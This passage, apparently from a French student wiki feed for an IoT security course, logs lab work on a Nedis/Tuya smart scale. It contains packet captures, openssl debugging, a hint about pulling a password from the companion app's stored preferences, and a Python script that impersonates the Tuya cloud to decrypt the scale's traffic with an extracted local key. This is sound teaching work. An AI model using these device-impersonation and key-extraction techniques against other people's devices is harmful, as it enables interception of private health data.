12:36:45.025301 IP 172.16.10.105.31465 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6517, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O4..&lt;br /&gt;
i..&lt;br /&gt;
.z.&amp;quot;....u....`...ck......E.&lt;br /&gt;
12:36:45.025318 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.31465: Flags [R.], seq 0, ack 6518, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.z........vP....0..&lt;br /&gt;
12:36:46.025500 IP 172.16.10.105.9070 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6521, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O3..&lt;br /&gt;
i..&lt;br /&gt;
.#n&amp;quot;....y....`.............&lt;br /&gt;
12:36:46.025517 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.9070: Flags [R.], seq 0, ack 6522, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.#n.......zP.......&lt;br /&gt;
12:36:47.033189 IP 172.16.10.105.51179 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6527, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O2..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...._......y.&lt;br /&gt;
12:36:47.033206 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.51179: Flags [R.], seq 0, ack 6528, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...?$..&lt;br /&gt;
12:36:47.263020 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.287049 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.653641 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4B...................&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.663352 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4.L.......p..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.674677 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i&amp;gt;#tB./..P.........&lt;br /&gt;
12:36:48.993649 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
ir...P.............&lt;br /&gt;
12:36:49.311055 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:49.490922 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i.......x....D.....&lt;br /&gt;
12:36:49.492262 ARP, Reply 172.16.10.105 is-at a4:e5:7c:16:2d:4c (oui Unknown), length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i..&amp;gt;#tB..&lt;br /&gt;
...................&lt;br /&gt;
12:36:49.515651 IP 172.16.10.105.29415 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6536, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O...&lt;br /&gt;
i..&lt;br /&gt;
.r.&amp;quot;.........`...kZ........&lt;br /&gt;
12:36:49.515669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.29415: Flags [R.], seq 0, ack 6537, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.r.........P.......&lt;br /&gt;
12:36:49.518628 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [S], seq 6539, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]..........`.............&lt;br /&gt;
12:36:49.518648 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [S.], seq 1378912894, ack 6540, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0.~....`...l.......&lt;br /&gt;
12:36:49.523505 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O0..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P........a3.tu&lt;br /&gt;
12:36:49.527055 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P...G?......&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:49.527081 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..X..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.527462 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@..P..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l.........(&lt;br /&gt;
12:36:49.527530 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..V..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.569636 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(......O...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........C.@&lt;br /&gt;
12:36:49.574893 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........&lt;br /&gt;
..&lt;br /&gt;
12:36:50.310055 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i........ ....&amp;gt;....&lt;br /&gt;
12:36:53.526624 IP 172.16.10.105.48314 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6547, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;amp;..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...!|........&lt;br /&gt;
12:36:53.526669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.48314: Flags [R.], seq 0, ack 6548, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...JA..&lt;br /&gt;
12:36:54.536817 IP 172.16.10.105.44185 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6567, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O%..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...1.........&lt;br /&gt;
12:36:54.536835 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.44185: Flags [R.], seq 0, ack 6568, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...ZN..&lt;br /&gt;
12:36:55.545631 IP 172.16.10.105.26626 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6589, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O$..&lt;br /&gt;
i..&lt;br /&gt;
.h.&amp;quot;.........`...v&lt;br /&gt;
........&lt;br /&gt;
12:36:55.545649 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.26626: Flags [R.], seq 0, ack 6590, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.h.........P.......&lt;br /&gt;
12:36:56.554680 IP 172.16.10.105.16244 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6611, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O#..&lt;br /&gt;
i..&lt;br /&gt;
.?t&amp;quot;.........`.............&lt;br /&gt;
12:36:56.554698 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.16244: Flags [R.], seq 0, ack 6612, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.?t........P....G..&lt;br /&gt;
^C&lt;br /&gt;
57 packets captured&lt;br /&gt;
57 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;port 8886 chez tuya ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 00 00 00 00   d6aG91IFR1eV....&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 00   ...:..BAohBAohb.&lt;br /&gt;
0010 - 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 00 00 00 00-00 00 00 00 00 00 00 00   d6aG............&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;trouver un mdp dans l'appli nedis /data/data/com.nedis.smartlife/shared_prefs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
decouverte de tinytuya&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import tinytuya&lt;br /&gt;
import json&lt;br /&gt;
&lt;br /&gt;
LOCAL_KEY = '674d29fb978a1705' &lt;br /&gt;
&lt;br /&gt;
IP_BALANCE = '172.16.10.105'&lt;br /&gt;
&lt;br /&gt;
print(f&amp;quot;[*] Démarrage du Faux Cloud Tuya...&amp;quot;)&lt;br /&gt;
print(f&amp;quot;[*] Clé utilisée : {LOCAL_KEY}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
server_socket.bind(('0.0.0.0', 8886))&lt;br /&gt;
server_socket.listen(1)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[*] En attente de la balance sur le port 8886...&amp;quot;)&lt;br /&gt;
print(&amp;quot;[*] Monte sur la balance maintenant !&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
while True:&lt;br /&gt;
    try:&lt;br /&gt;
        client, addr = server_socket.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion reçue de {addr[0]} !&amp;quot;)&lt;br /&gt;
        &lt;br /&gt;
        data = client.recv(4096)&lt;br /&gt;
        &lt;br /&gt;
        if data:&lt;br /&gt;
            print(f&amp;quot;[i] {len(data)} octets reçus (chiffrés). Tentative de décodage...&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                d = tinytuya.OutletDevice('DUMMY_ID', IP_BALANCE, LOCAL_KEY)&lt;br /&gt;
                d.set_version(3.3) # Version standard WiFi&lt;br /&gt;
                &lt;br /&gt;
                decrypted = d._decode_payload(data)&lt;br /&gt;
                &lt;br /&gt;
                if decrypted:&lt;br /&gt;
                    print(&amp;quot;\n&amp;quot; + &amp;quot;=&amp;quot;*40)&lt;br /&gt;
                    print(&amp;quot;donnés :&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;=&amp;quot;*40)&lt;br /&gt;
                    parsed = json.loads(decrypted)&lt;br /&gt;
                    print(json.dumps(parsed, indent=4))&lt;br /&gt;
                    &lt;br /&gt;
                    if 'dps' in parsed:&lt;br /&gt;
                        print(&amp;quot;\nVALEURS :&amp;quot;)&lt;br /&gt;
                        for k, v in parsed['dps'].items():&lt;br /&gt;
                            print(f&amp;quot;- Data Point {k} : {v}&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;=&amp;quot;*40)&lt;br /&gt;
                else:&lt;br /&gt;
                    print(&amp;quot;[-] Échec du décryptage (Format inconnu ou clé incorrecte pour ce paquet)&amp;quot;)&lt;br /&gt;
                    &lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;[-] Erreur de décodage : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        client.close()&lt;br /&gt;
        &lt;br /&gt;
    except KeyboardInterrupt:&lt;br /&gt;
        print(&amp;quot;\nArrêt.&amp;quot;)&lt;br /&gt;
        break&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;Erreur serveur : {e}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10911</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10911"/>
		<updated>2025-12-02T15:33:02Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Nedis Wi-Fi Smart Personal Scales */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
